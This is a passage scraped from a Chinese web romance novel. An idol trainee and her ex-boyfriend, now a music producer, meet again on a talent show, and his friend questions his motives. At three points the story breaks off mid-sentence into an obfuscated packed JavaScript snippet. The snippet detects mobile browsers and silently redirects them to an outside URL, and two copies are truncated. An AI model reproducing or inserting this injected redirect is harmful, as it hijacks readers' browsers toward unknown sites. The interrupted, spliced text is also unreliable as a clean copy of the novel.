几年前她还未出道，只是个素人练习生，再加上被公司恶意打压，公司能不能记得有她这号人都不一定，于是压根就不怎么管她，她所在的YE公司也没明确表示她们素人究竟能不能谈恋爱。 但是沈亦凝对自己的要求依旧很高，特别是在临近出道夜前几个月，她因为一些路演小舞台小有名气之后，对他更是越来越疏远。 即使两人当时正处热恋期，她从不说喜欢他，也不怎么黏人，永远理智占上风，既然选了这条路就得对得起粉丝，于是只能对不起他，否则她也不会刚成功出道就和他提了分手。 那段时间很多个像今天一样的晚上。 她经常性在公司训练到很晚，他会在楼下接她回家，风雨无阻。 只不过每次两人在私底下见面，她第一时间不是走过来牵他的手，而是抬头看附近有没有摄像头。 如果周围有摄像头，她会十分淡定地从他身旁走过，目不斜视，把他当成空气。等彻底没人围观了，亦或是没有镜头照过来时，她才搂上她的手臂，抱歉地朝他笑一笑，求他不要生气。 怎么可能不生气。 明明两人谈的是正经恋爱，祁致却经常性觉得自己在和她偷情。 祁致从来不觉得自己是多大度的人，特别在谈恋爱这件事情上更是小肚鸡肠。 气极的时候，他俯下身，泄愤似地吻她，发泄自己的不满和生气，直到她彻底喘不上气，眼角泪盈盈，他才放过她，埋在她的颈肩，一次又一次地强调。 “一一，我是你正牌男朋友，不是地下情人，这种关系究竟要持续到什么时候？” 她总沉默，接着说，无辜的表情，清澈的眼里倒映着他的身影，“对不起。” 可他并不需要她的对不起，只会默默在心里生闷气，也许是在气她，但是更气自己。 他有一段时间非常想公开恋情。 祁致不止一次说过，“一一，跟我一起回国吧，好不好？” 祁家在京城有的是人脉和资源，既然他女朋友想出名，给她资源把她捧红不成问题，这样她不用这么辛苦，两人的关系也可以光明正大。 只不过她很固执，每次都只回答同一个答案，她说，“我不想。” 为何不想？ 当时的祁致不理解。 他当时是她男朋友，靠他托举天经地义，而且不用看人脸色也不经历这么多风雨，不是挺好的吗？ 每每讨论到这个话题，她会沉下眼睑，不知道想起什么，明亮的眼神会逐渐黯淡下去。 “我更想靠自己，自己铺的路更稳固，如果我靠你，万一哪天我们分开了，你给我的你也能轻易再拿回去。” 这个道理她很小就知道，她的父母就是一个活生生的例子。 她的母亲申清寒，国内知名的舞蹈家，起初被她父亲沈新霁捧得有多高，后面摔得就有多狠。 她冷声说，“我不要当菟丝花。” 十八九岁的少年最是骄傲，但是意识到她谈到这个话题有些生气后，还是会此放下身段，轻声哄，“我们不会分开，你相信我。” 沈亦凝松开和他十指相握的手，眼底一片潮湿像落了场雨，“会，没有谁会永远陪着谁一辈子的。” 那会儿的祁致还以为她是说的气话，直到真的分开的那个雪夜，他才知道，有些人真的心狠到，从刚在一起的时候就预设了分开的结局。 *** 多年前的祁致会因为她的刻意疏离和两人的关系见不得光而觉得难过。 但是现在不会。 不是因为彻底放下了。 而是他知道她不是温室的花朵，她也更不愿意当被豢养的家猫。 比起走他帮忙铺好的路，当一根蜿蜒向上的藤蔓，她宁愿当冬天道路两侧枯瘦的树，在穷冬烈风中活着，硬生生地熬到春色葳蕤。 祁致比以前要更能理解她，包括她刚才抬头时的小动作，只不过他看破不说破，明知故问道，“在看什么？” 说话时，他的视线不着痕迹地扫过她有些泛白的唇角，以及比上次见面显得清瘦不少的脸颊，猜测她这段时间绝对没有好好吃饭。 沈亦凝戴上外套帽子，紧紧盖住自己的脸，“有摄像头。” 祁致倒不在意，漫不经心地说，“那摄像头根本没开，再说了我们已经分手了，清清白白的关系，就算被拍了你怕什么，还是说——” 他稍微停顿了一下，才缓缓继续，“你还喜欢我？” 他的语气，让人一时之间压根分不清是陈述句还是疑问句。 时间有一瞬间的静止。 沈亦凝垂在身侧的指节轻收。 她知道来录这个节目，不出意外肯定会和祁致遇见，只是不知道竟然会像现在这样如此猝不及防。 时间、地点、以及两人之间的对话发展方向，都完全是沈亦凝从来没有设想过的。 她完全没有做好任何的心理准备。 沈亦凝现在的心情十分复杂，就像是心脏处放了一瓶被不停摇晃过的碳酸饮料水，气泡争先恐后地涌出瓶口。 让她喘不过气来。 沈亦凝不可避免地想起前两天在火锅店里，孟觅夏曾经问过她“你放下祁致了吗”，她当时的回答是“放下了”。 她当时的确没说谎。 因为她自己都觉得自己放下了，毕竟这么多年不曾见面，她不觉得自己是一个如此长情的人，分手四年还放不下他。 更何况，当年在感情热烈的时候为了前途选择及时止损，主动提分手的人也是她。 她觉得分开后，时光会抹平一切，曾经两人之间的悲喜与旧痕迹都会被时间淡化掉。 但很明显。 事实告诉她并非如此。 今天晚上是她和祁致重逢后第二次遇见，上一次是在车上，当时她醉了酒现在却格外清醒。 两次不一样的状态，一样的是——每次遇见他，她的心脏都跳动得非常快。 有慌张、不安与尴尬。 甚至祁致轻飘飘的一句“你还喜欢我”，就顿时让她乱了阵脚。 和祁致分手之后，沈亦凝独自去看过一部爱情电影，一部日本电影《firstlove》，剧情很一般，但是她对里边的两句台词印象深刻： “初恋是蓝色、雪 和奋不顾身的炽热。” 以及， “人真的会反复爱上同一个人。” 当时两人已经分手一年半，她还没被公司雪藏，正处于事业巅峰时期，在日本北海道巡演。 看到这部电影的时候，她想起了祁致。 他是她的firstlove，看这种电影想起他无可厚非。 但当时的她并不觉得，再次喜欢上初恋这句台词会发生在自己身上。她很理智，分手之后就必须彻底切割。 直到现在遇见。 她才发现，电影的这句台词此时此刻正中眉心。 看到祁致时，她的心里会忍不住波涛汹涌，或许她像台词里说的那样，重新喜欢上了他。 又或许他其实一直在她心里，从来没有被她忘记过。 这个可怕的猜测顿时让她方寸大乱，只不过成年人已经能够做到体面，特别是在前任面前，即使内心泛起涟漪，起码表面上还是要平静的。 在隐藏情绪这个方面，沈亦凝可谓是天赋异禀，她没有逃避，很有出息地直接对上祁致的视线，“祁……” 一时间不知道如何称呼他，她停了两秒钟，终于想到了一个比较合适的称呼，“祁制作人，怎么可能呢，你在开玩笑。” 以防万一，她把帽子盖得更紧了，做出一副要和他彻底划分楚河汉街的姿态。 听到这个称呼，祁致神色很淡，白晃晃的灯光照上他的脸，那双黑眸略有不适地沉了沉。 楼道里的声控灯明了又灭，他垂着眼睑，良久才开口，没再继续这个话题，直接了当地问，“这么晚了你怎么在这儿？” 云淡风轻的语气，就像是在讨论天气。 现在没有外人在场，两人不同于初次重逢时的气场，没有任何寒暄开场白，淡定得一点儿都不像是前任见面。 只不过淡定的表皮之下，像是蕴藏着一些说不清道不明的东西，甚至还能隐隐地闻到一丝丝的火药味。 “我来训练。”沈亦凝的脸上带着礼貌的微笑，毫无破绽的语气说，“祁制作人，我看到你有训练室的钥匙，你可以帮我开一下门吗？真的很感谢。” 她不清楚训练室能不能用。 更不清楚祁致为何会出现在这儿，但是她用的是商量的语气，不觉得自己这个举动有多么逾越。 大不了被他拒绝之后转身走了就好。 她只是给自己争取训练的场地而已。 况且她觉得自己很有礼貌。 一口一个祁制作人，还特意说了感谢，提的这个要求应该算不上过分。 祁致手里拎着钥匙，闻言挑眉，“你是觉得我是节目组请来管练习室开关门的？” 尾音带着点冷笑，但很快又消失不见，仿佛只是她的错觉。 沈亦凝心里腹诽了几句。 ——难道不是？ ——要不然你怎么会晚上出现在训练大楼，而且还有钥匙。 ——正常人都会这么怀疑好不好。 只不过也只是在心里吐槽而已，还没来得及说出口，祁致就已经看出来她在想什么了。 他觉得她的脑回路有点儿清奇。 节目组请他过来，恨不得把他供起来，怎么可能让他做这种保安的工作。 趁着声控灯还没黑，祁致伸手往门牌一指，“这是我办公室。” 沈亦凝顺着他指的方向看过去，果真看到一个蓝牌子，上边写着“声乐室-导师专用”几个字。 “……”六楼看来都是留给导师训练和休息用的。 明天就要正式进行直播录制，祁致过来准备一下也十分正常，加上他咖位大，虽没有签约任何娱乐公司，但是他自己就是自己的靠山，甚至还算节目组的半个资方，有把钥匙又怎么了？ 沈亦凝沉默须臾，“那你的钥匙能开楼下舞蹈训练室吗？” 她心里还燃烧着最后一丝希望的小火苗。 明天是直播，练舞练歌是必须要争分夺秒的，如果找不到训练室，就只能在楼下空地练习了，训练效果大打折扣不说，还要成为蚊子的美餐。 想想都有点儿悲惨。 祁致淡笑，“不能。” “……”充满希望的小火苗彻底熄灭。 沈亦凝便不再继续跟他纠缠下去，争分夺秒转身要走，毕竟浪费一分钟时间，那就少一分钟训练时长。 她现在比谁都紧张自己学不完，就像是读大学那会儿，已经能够预料到明天考试会挂科，前一天晚上还是会熬夜挑灯夜读。 沈亦凝抿了抿唇，“那谢谢了，我……”我这就走。 后半段还没说完。 祁致就猜到了她要走的意图，先一步开口，“声乐室也能训练。” 沈亦凝转身离开的动作停住，“真的？”语气透露着几分不可置信，还带着几分极力掩藏都掩藏不住的欣喜和希望。 祁致脸上依旧是没有什么表情，只是丢了一个十分敷衍的“嗯”。 只不过她还没来得及开心超过三秒钟，又听他开口补充道，“不过在这儿不能超过十二点，你要回去休息。” 沈亦凝飞快皱了一下眉，几乎脱口而出地反问，“为什么不能通宵。” 她顿了顿，猜测道，“节目组不让？” 祁致的眼神又不着痕迹地停在她泛白的唇角和过分清瘦的下巴，眼神像里有化不开的冰，却又好像什么都没有，“你还想通宵训练，明天不录节目了？” 就是因为明天开始直播录节目，所以她才要争分夺秒地训练。 只不过这事儿不太适合很祁致说，毕竟两人现在是普通同事关系，准确来说还是制作人和学员之间的关系，类似于上下级关系。 她要是把自己被节目组针对了这事儿说出来，有卖惨的嫌疑，她也不确定祁致还会不会向以前一样对她心软。 而且她也不是那种会诉苦的性格。 有些话压根没必要说清楚，更何况面前站着的人还是前任。 沈亦凝避重就轻，给了个敷衍的回答，“我还没练好，害怕明天表演不出来。” 祁致不语。 他分不清她口中说的“还没练好”究竟是已经练习到了哪种程度，她作为一个顶级完美主义者，即使已经是99.9分的状态，她也会说还没练好。 只要沾到任何舞台相关的事情，她恨不得化身为永动机，在舞台上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你肯定没吃晚饭，”祁致一副了如指掌的状态，“同意一个没吃晚饭的人在训练室通宵训练，门还是我开的，要是你在里边晕倒了，谁负责？” “。”他这个理由好像确实有点儿充分。 沈亦凝终于信了，是她刚才没控制住自作多情，胡思乱想了他帮忙开门的动机。 像她这么高傲的人，若是祁致是主动把她甩了的那方，她绝对会和他老死不相往来。 祁致能够做到现在这样与她和平谈话已经是难得，会主动关心她已经是天方夜谭。 怕被追究责任这个理由合情合理。 只是食堂距离这儿有点远，低头掏出手机看了眼时间，现在时间是晚上八点半，吃个饭回来至少半个小时又没了。 更何况她现在还处于减肥当中。 并不想吃饭。 沈亦凝脸不红心不跳地撒谎，“其实……我刚才已经吃过饭了。” 祁致没说话，只是掏出手机，点开相机前置，伸手把屏幕正对到她面前。 他的手机屏幕里浮现出一张过分苍白毫无唇色的脸，这几天报复性减肥，让她整个人看起来精神都不怎么好。 “你这幅状态通宵训练，我怀疑你是想讹我医药费。” 沈亦凝没吭声，沉默两秒钟之后点头，“可以。” 她取下自己的背包放在窗台处，做出一副转身跑下楼的动作，整个人看起来有些急切，害怕浪费时间哪怕一分一秒，“我现在就去食堂。” 祁致伸手拦住她，动作利落地掏出一份便当，“吃这个。” 沈亦凝愣住，“？” 怎么会有人随身携带便当。 祁致盯着她清凌凌的眼，掏出钥匙开了门，拍亮室内的灯，便当直接放在了里头的一张桌子上。 他随手抽出一张凳子，示意她坐下，“吃吧。” 沈亦凝一动不动，就这么盯着他，清澈的眼底布满了疑惑。 祁致瞧她站着不动，“怎么你怀疑我在便当里下毒？” 她在凳子里坐下，取出一次性筷子，心里疑惑他怎么会随身携带便当？ 巧合到她怀疑他是不是故意蹲点她，但是他又不是先知，总不可能猜得到她大晚上的会来这里。 实际上还真是巧合。 他不爱吃其它外边的饭菜，基本上都是自带便当，这个习惯也是在和沈亦凝谈恋爱之后正式养成。 因为她这人三天两头不吃饭，作为她男朋友，自然也不忘监督她按时吃饭，把饭团捏成小猫小狗小熊等卡通形状哄着她吃，差点儿被把他这个十指不沾阳春水的大少爷逼成半个厨师。 分手后自带便当已经成了改不掉的习惯。 明天录制节目，其它导师提前两天就来了，唯独他因为有工作暂时走不开今天才到，于是自然要来音乐室做一下准备，复习了一遍明天的流程。 做了一天飞机没空吃饭，便当是助理加热后送过来的，只是他还没来得及吃，便遇到了她。 也许冥冥之中自有天意。 “我没有怀疑你下毒。” 沈亦凝打开盖子，第一眼就看到了躺在饭盒中央的溏心蛋，她没有丝毫怀疑地咬了一口。 饿了很久的胃终于得到了瞬间的满足。 如果是其他人，她估计还会怀疑这里面下了什么东西，但是她不会怀疑祁致，潜意识里知道他绝对不可能会害她。 沈亦凝虽说减肥意志坚定，但是今晚还是控制不住地直接吃了一大碗饭。 她满足地收了筷子，抬头看到祁致还在原地，“你居然还没走？” 刚才她光顾着沉浸式炫饭了，也不知道她究竟在这里看了他多久。 祁致不动声色地低头看她。 她的素颜干净漂亮，皮肤很好，脸上几乎看不到毛孔，只是过度减肥身体单薄，整个人透着一股羸弱的美，原本苍白的脸，现在在吃了饭之后，终于能够看到了几分血色。 祁致放下心来，面上不显现半分，他缓缓开口。 “没走是因为还有一句话要跟你说。” 祁致身形高大，双手环胸斜靠在门口，因背着光，他高挑颀长的影子被折断在墙根，将她整个人都笼罩在一层朦胧的光晕里。 “记得把我微信加回来。”他说。 17. 两全其美 祁致眉眼清冽，幽深的目光落在她脸上： “我好歹还是绒绒的爸爸，应该拥有孩子的探视权吧。” “你前几天突然把我删了是什么意思？” 沈亦凝起初愣住。 一时间没反应过来祁致说的那句“把他删了”是指什么。 其实在分手的这几年里，沈亦凝跟祁致除了现实生活中没有见过面之外，其实也并不是完全没有任何联系。 他们还保留着线上发消息的习惯。 两人的唯一联系方式是微信，这么多年还彻底断不了是因为绒绒——他们当初一起养的那只卷毛小狗。 分手后小狗的抚养权归沈亦凝，祁致只拥有探视权。 虽有联系，但绝对谈不上来往密切藕断丝连，她只是在每个月的八号，固定时间段拍一小段关于绒绒的视频，甩给祁致，证明绒绒被她养得很好，身体尚且健康，让他放心。 祁致有时候回复一个“。”，有时候回复一个“嗯”，表示已阅。 态度冷漠到经常让沈亦凝觉得，祁致这人是不是不爱这只小狗了，但她如果哪个月忘记发了，祁致会拍一拍她的微信头像以示提醒。 除此之外两人没有一点儿其它互动，多余废话也不多说，微信朋友圈都是处于屏蔽对方的状态。 边界感十足，很明显的已经是前任关系。 这真的还算有联系吗？好像算又不算。 只不过这段时间以前的微信突然登陆不上，应该是跟前几天她手机丢了有关，捡起她手机的人，登陆她的微信，改了她的密码，她只好被迫重新注册了一个新账号。 虽不知捡起她手机那人改她微信密码的动机是什么，她第一时间申请冻结账号，但是一些微信好友一时之间还没来得及添加到新微信上。 被暂时遗留在老手机的联系人，就包括了祁致，他也许是联系不到她，而后觉得自己被她删了吧。 没想到祁致会当面问她这个事儿。 沈亦凝把祁致问她微信的原因归结到了绒绒这只小狗身上，觉得他大概率是爱子心切，毕竟这只小狗承载了两个人很多的回忆。 沈亦凝并没有跟他说自己丢手机的事，和他说自己的近况并没必要。 她只是答应他，“节目录制结束之后，我拿到手机重新加回你。” 祁致微微颔首，没多说什么，让人捉摸不透他现在的内心想法，他直接把钥匙放在桌面上，没做停留离开了这里。 “先替我收着。” 这是祁致离开前说的最后一句话。 沈亦凝愣怔一瞬，直到祁致的身影彻底消失在茫茫夜色里，她才突然想起来，祁致曾经也给过她一把钥匙。 她在首尔当练习生的那段时间，住的是十分老旧的居民楼，楼房灰沉沉的，冬冷夏热，环境不好，特别是在夏季闷热且潮湿，道路坑洼不平，流浪猫狗四处乱窜。 空气常年带着霉味。 祁致看不下去，在公司附近买了套大房子给她住。 但当时的她没收。 祁致就强硬地把钥匙塞进她的掌心里，说了和现在一样的话。 “你不要，那你就替我收着，这总行了吧？” 在日落前的蓝调时刻，昏黄的路灯下，少年的眉眼舒展着，带着浅浅的笑意和温柔。 ** 沈亦凝轻拍了一下脑袋，努力从回忆里挣脱出来，总是回忆起过去的事情，就像是一个人在脑海里重复播放一部悲伤的黑白老电影。 她不愿意这样。 她把声乐室的钥匙放好进包里，想着今天过后找个合适的时机，再把钥匙重新还给祁致。 收好碗筷，掏出ipad打开，戴上挂耳式蓝牙耳机，开始对着屏幕里面的舞蹈视频认真训练起来。 十一个小时，记住歌词，练完一整首舞蹈，应该也并没有什么问题。 能够尽量保证完整度就好了，她安慰自己。 *** 祁致下了楼之后没走，他戴上耳机，继续听着吉皋（gao）给他发来的demo。 新demo风格大胆的旋律响在耳边，他插着兜抬头，看到楼上的灯光亮起，紧拉起的浅色窗帘上隐约倒映着她的身影。 有风吹来，轻轻吹起他额前的碎发和衣摆。 他总是不受控制地想起曾经无数个在楼下等着她的日子，或许是因为走不出过去的人，才会经常想起从前。 祁致久久矗立着，没离开，微信里吉皋给他发来消息，“新的demoversion怎么样？” 他微信语音回复对方，“还行。” 吉皋的确是一个很有音乐才华的人，作词能力极强且风格多变，祁致跟他认识很多年了，甚至早于他遇见沈亦凝。 他很欣赏吉皋这个人，两人在六七年前曾经尝试组过乐队并起名“日落线”。 乐队里当时还有其它成员，一群人追寻梦想，跑到Krikenes开了一家酒吧，名字叫“极光”。 “日落线”几个人经常凑在一起唱歌，一般在自家酒馆“极光”驻唱拉客，偶尔接几场商演，不为了挣钱，就是单纯为了舞台，那是一段最年轻无畏且自由开心的日子。 只不过好景不长，乐队因为各种原因没能坚持下去，最终不可避免地面临解散，作为队长的祁致不是没有想过重组，但是重组乐队困难重重，经济压力反而是最容易解决的问题。 虽然乐队现在已经解散多年，但祁致还在继续唱歌，一首《我想你》拿下最佳新人，自此一路红火声名鹊起。 吉皋在那场车祸之后，再也拿不起贝斯，如今隐退幕后，专心写词作曲，十分高产。 祁致最近新出的歌，在演唱后一栏的作词作曲里经常性出现吉皋的名字，这对吉皋来说也算是音乐梦想的实现。 祁致短短说了两个字“还行”，吉皋就已经十分敏感地从他的语气里听出来了憔悴之色。 吉皋：“有点敷衍，你好像有点儿心不在焉，声音听起来很累的样子。” 祁致没否认，“嗯，我现在状态不太好，回去再听一下。” 吉皋：“明天我去找你，正好一起探讨一下新歌。” “明天不行，抽不开身。” “为什么？” 祁致：“蓝间没告诉你我正在参加综艺？” 蓝间是他的助理。 “？” “……” 两人隔着个手机屏幕沉默许久。 吉皋隔段时间还在为祁致的新歌努力，断网闭关多日出来后，冷不防听到祁致正在录制综艺的消息，面对这事儿，他不免有点吃惊。 毕竟已经有十几年的交情，吉皋已经十分了解祁致，他不喜欢上综艺。 在祁致火了之后，不少专业唱歌的大型综艺给他递过本子，无一例外都被他给推了。 祁致对名利看得不重，认为音乐本身就可以与歌迷交流，无需借助综艺来增加曝光度和人气。 更何况他自己就是资本，祁氏集团名下有好几家娱乐公司，他只要有才华，不触碰红线，不怕会被资本威胁雪藏。 有后台的人就是硬气。 除非这个综艺是真的有什么地方吸引到了祁致，才让他同意接下来了这个本子。 “什么综艺啊？” “《破茧出道营》。” “……没听过，这是什么类型的。” “选秀综艺。” 吉皋：“？” 吉皋出生于上世纪90年代，却拥有着上世纪六七十年代的网速，掏出手机查了一下，才终于知道《破茧出道营》究竟是个什么类型的节目。 刷了几个词条，吉皋顿时恍然大悟，他好像突然之间就懂了。 原来真正吸引祁致的，并不是综艺本身，而是初恋。 毕竟搜索“破茧出道营”，最火的词条之一居然是＃沈亦凝＃。 这个熟悉的名字，就算是化成灰，吉皋也能认识。 *** 吉皋上次在现实中见到沈亦凝，还是在四年前的首尔，YE公司组织的第七代练习生大型出道选拔比赛的现场。 祁致当时买了两张票，让吉皋陪他一起去看，两张票的座位都是十分偏僻的角落。 吉皋大吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116705|163232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一惊，打趣他，“祁少爷，你财力雄厚，怎么就买了这么偏僻的位置。” 打趣完之后还不忘吃一手瓜，“你女朋友不是今天参加出道比赛，这么偏能看得见人吗？” 祁致当时没什么表情地说，“她跟我提分手了，应该不希望我来。” -但他为什么还是来了。 -因为他控制不住想见她。 吉皋偏头看向祁致，这才发现他的状态不对，提到分手时整个人都有种说不出来的憔悴。 曾经多么意气风发的少年，此时此刻像是被霜雪压弯了脊梁，当初的恋人化为他身体里时不时就会隐隐作痛的痛骨。 吉皋最终还是陪着祁致去看了那场出道比赛。 那天晚上的沈亦凝很漂亮，大屏幕上无数次闪回她的身影，台下此起彼伏都是粉丝的尖叫声。 灯光之下，少女的红色长发随意垂在肩膀，孔雀石耳钻璀璨闪亮，气质矜贵且清冷。 那天晚上她是舞台上唯一一朵热烈绽放的野玫瑰。 舞台结束散场，沈亦凝最终果然C位出道，同他们彻底渐行渐远。 那夜下了场雨，祁致喝了酒。向来有分寸感的他从不会轻易让自己喝醉，但那天就是醉了。 那是吉皋第一次看到他酩酊大醉的样子，居然还是为了一个女人。吉皋一把抢过他的酒杯，“我知道你很难受，但不过就是失恋而已，小事一桩，我们也努力往前走，争取把她给忘了行吗！” 吉皋也不是没失恋过，分手时痛彻心扉，但时间总能够让他慢慢淡忘掉那个人，即使两人曾经真的非常热烈相爱过。 祁致不言，只伸手把演出的票根丢进酒吧的垃圾桶里。 当时的吉皋还以为这是祁致在对从前正式做出告别，却没想到祁致因此萎靡不振了整整两年，甚至在已经分手了两年后，他独自一人飞往日本北海道看了SunriseTribe的演唱会。 不仅如此，祁致还在当地电影院看了《FirstLove》这部电影，只因为当时沈亦凝在微博里晒了这部电影的一张图片。 ——FirstLove。 吉皋仅用0.0001秒就猜出祁致这小子为何执着去看这部电影。 那两年，女团「SunriseTribe」发展迅速，吸粉无数，在韩娱火得一塌糊涂，沈亦凝在那段时间ins粉丝超过一千五百万。 但那是“日落线”最低沉的时候，吉皋出了车祸，其它队员因为各种原因退团，祁致被家里勒令回家。 其实祁致从一开始准备创立乐队“日落线”的时候，就并不被看好。 毕竟祁致不算出生于音乐世家，恰恰相反他家里就没多少人是专门搞这个的，大家并不觉得养尊处优的大少爷能吃玩乐队这个苦，祁家起初也只是觉得祁致不过是玩玩而已。 祁致家族里唯一一个跟音乐沾点边的，估计也就只有他的外祖父，外祖父是个知名钢琴家，他从小跟在外祖父身边耳濡目染，心里很早就埋下了音乐的种子。 那会儿几乎所有人都觉得，祁致没干几年就肯定会回家，毕竟家族给他铺好了路，何必要吃音乐这个苦。 祁家不支持，背地里各种施压，当时祁致尚且年轻，毫无反抗之力，有一段时间只能被迫放弃音乐。 “SunriseTribe”火遍韩娱，“日落线”彻底解散。 祁致和沈亦凝曾经都很默默无闻，但分手后一个事业如日中天一个陷入低谷。 正常人都会恨前任吧，但是即使如此，祁致竟然还没放下那个前女友。 甚至前段时间“恋爱瓜”事件热度还没过去，祁致居然在这个风口和沈亦凝接了同一档综艺。 于是吉皋看到沈亦凝这个名字就膈应。 吉皋无比嫌弃道，“你怎么参加了这种综艺。” “怎么了？” “你明知故问！你前女友也参加了这个综艺，你说你是不是故意的？” “……” “你果然还是忘不了她。”吉皋压根忍不住为兄弟打抱不平，“她究竟有什么好的，值得你如此念念不忘。” 18. 两全其美 吉皋其实不得不承认。 沈亦凝长得漂亮性格不错，又有才华和主见，她的确是个好姑娘。 但是吉皋看不惯这种为了前途放弃爱人的行为，即使再如此身不由己，但这种人理应不值得留恋。 就像现在，吉皋有些生气，更多的是恨铁不成钢，“前段时间你公开在微博上认领前女友这件事情，我就很无语了，虽然你不是爱豆，可以谈恋爱ok这没问题，但是这也迅速掉了一批女友粉。” 一说到这，吉皋忍不住气得胸口起伏。 虽然祁致是自由音乐人，没签公司不是爱豆，谈恋爱不算塌房，更何况那还是一段几年前的素人时期恋爱，没出轨没劈腿已成年，其实不算什么。 可是祁致的女友粉数量庞大。 这事曝光之后，掉粉其实很严重。 特别是祁致还光明正大发了微博认领这段恋情，更加引发了女友粉老婆粉的不满。 于祁致而言，掉粉换沈亦凝不再继续被造黄谣很值得，毕竟那会儿有关于她“被包养”的传闻愈演愈烈。 但吉皋觉得很不值得，太不值了。 恋情曝光就像是多米诺骨牌效应，对祁致事业的后续影响是无限的。 她都是前女友了，出事还关祁致什么事儿？也不见在“日落线”低谷的时候有她出现的身影。 “你不想前女友因为那事儿被大范围网暴和造黄谣，我也不是不能理解，但是……”吉皋叹了一口气，“人家事业巅峰的时候，也没想着你啊，你别告诉我这次参加《破茧出道营》这个综艺，也是奔着她去的。” 默默在角落里参加了她一场又一场演唱会，听她分享的歌，看她看过的电影，不顾事业影响也硬要替她辟谣，甚至现在为了她破例接下综艺。 吉皋这些年眼睁睁看着他做了一件又一件傻事。 “……” 祁致不语，也算是默认。 他的确是在知道沈亦凝签了这个节目之后，才正式和这个综艺的节目组定下了合同。 事实如此，没什么好否认的。 吉皋气笑了，“她现在黑粉这么多，节目播出，估计你也会被拉下水掉粉，而且我也不清楚你这么做为了什么。” “难道你追着她有是还想跟她复合？别搞笑了，这样清醒的人是不会回头的，说不定她压根就没多喜欢你。” 吉皋这人说狠话的时候，那可是库库带刀子，狠狠地往祁致的心里扎，就是想让他清醒一点，认清现实。 祁致其实比谁都清醒。 就算吉皋没说这些话，他也懂。 祁致无比平静地说，“我知道，也清楚，她绝对不会跟我复合，但我参加这档综艺，并不是为了和她重新在一起。” 分手之后，祁致就从来没奢望过自己还能够和沈亦凝复合。 她像自由来去的风，他抓不住的。 他决定参加《破茧出道营》这个节目也并不是奔着复合来的，恰恰相反，其实在来之前，他早就已经预设过了结束节目之后，两人再次分道扬镳、彻底形同陌路的结局。 如今她事业正处低谷，复合概率都并不高，因为她会想着向上爬，谈恋爱只会成为她事业上的阻力。 而她若是日后重回舞台，事业回春，两人复合这种事情就更是无稽之谈。 毕竟她当初是能为了事业心狠选择断崖式分手的人，就不会这么容易放弃舞台心软回头。 更何况沈亦凝现在还年轻，于她而言，事业比什么都要更重要，他清楚自己在她心中的分量并不重，比起事业来说无异于以卵击石。 所以祁致就压根不是单纯为了跟她复合才接下这档综艺。 吉皋愣住，轻皱眉，“那你是因为什么？” 吉皋其实并不信，认为祁致是口是心非，不是为了把前女友追回来，上这个综艺难道是吃饱了撑的？ 祁致沉默两秒。 -究竟为了什么呢？ 这事说来其实很复杂。 现在祁致依旧并不能确定为什么在SunriseTribe正当火的时候，YE公司非把沈亦凝这个团内超人气成员调回内娱。 但是他不用想也能够猜得到，YE大概率应该是怕她继续发展下去，太火了不好掌控。 再加上沈亦凝本来就是个硬骨头，娱乐圈水深，这里头弯弯绕绕很多，资本不喜欢不懂服软的刺头。这样的性格也导致她后边发展得很不好，回到内娱后资源更是差得离谱，有一段时间甚至处于查无此人的状态。 若不是她在团时积累的粉丝恨铁不成钢转化成黑粉不停骂她，估计她如今在内娱连最后一点曝光都没有了。 好不容易现在她能接个综艺节目，应该是她最后的翻身机会。 他不清楚公司和节目组会不会继续打压她，总之网上传言她是“皇族”这事儿他是不信的。 祁致更相信她只是用来吸引观众的噱头，她能参加这档曝光性如此强的综艺或许还牺牲了一些什么。 她如今在内娱过得真的很艰难。 于是他来了。 这才是祁致答应接下这部综艺的真正原因。 如果连他都不在。 那她怎么办？ 祁致平静解释道，“她想重回舞台，我得帮她。” 这才是他的本意。 吉皋听完，瞬间明白了什么。 沈亦凝这两年事业发展并不好，明眼人都知道这是她所在的YE公司在刻意防爆她，能放她参加这样一款大型综艺绝对憋了什么坏点子想靠她挣钱的同时再继续整她。 而祁氏集团在整个京圈都有极大威慑力，甚至这个综艺节目有不少学员签约在祁氏集团名下的几个娱乐公司。 祁致参加这个综艺，不仅仅是音乐制作代表，更是半个资方。 打压沈亦凝的是资本，祁致算另一波资本，有他在，暗箱操作护沈亦凝一下其实很容易。 节目组再怎么样也会看在祁致的面子上，不会明目张胆对沈亦凝做什么，起码能留给她一段喘息的时间。 但这么做对祁致的事业发展绝对会有反噬。 “恋爱瓜”事件后，几乎全娱乐圈都已经知道祁致跟沈亦凝是前任关系，如果幕前互动太多，对他并不是好事。 祁致已经有许多大粉超话抵制他参加这个综艺很多天了。 即使祁致有背景也应该迎合市场观众，不努力媚粉，就算是世界首富进娱乐圈也不会被买账。毕竟观众并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当初年轻的时候还不懂得很多东西，会单纯认为爱迎万难，也赢万难，只要还有爱在，两个人就一定不会分手。 他想占有她，和她永远在一起，想破脑袋也想要留她在身边。 直到后来，祁家人在祁致没了音乐萎靡不振后，开始心软松口放他离开追寻梦想时，祁致才终于懂得一个道理。 ——爱不是占有，喜欢一个人也并不一定要在一起，而是托举、是成全、是希望她过得更好。 好的恋人，应该祝她扬名四海，永垂不朽。 祝她铮铮，祝她昂扬。 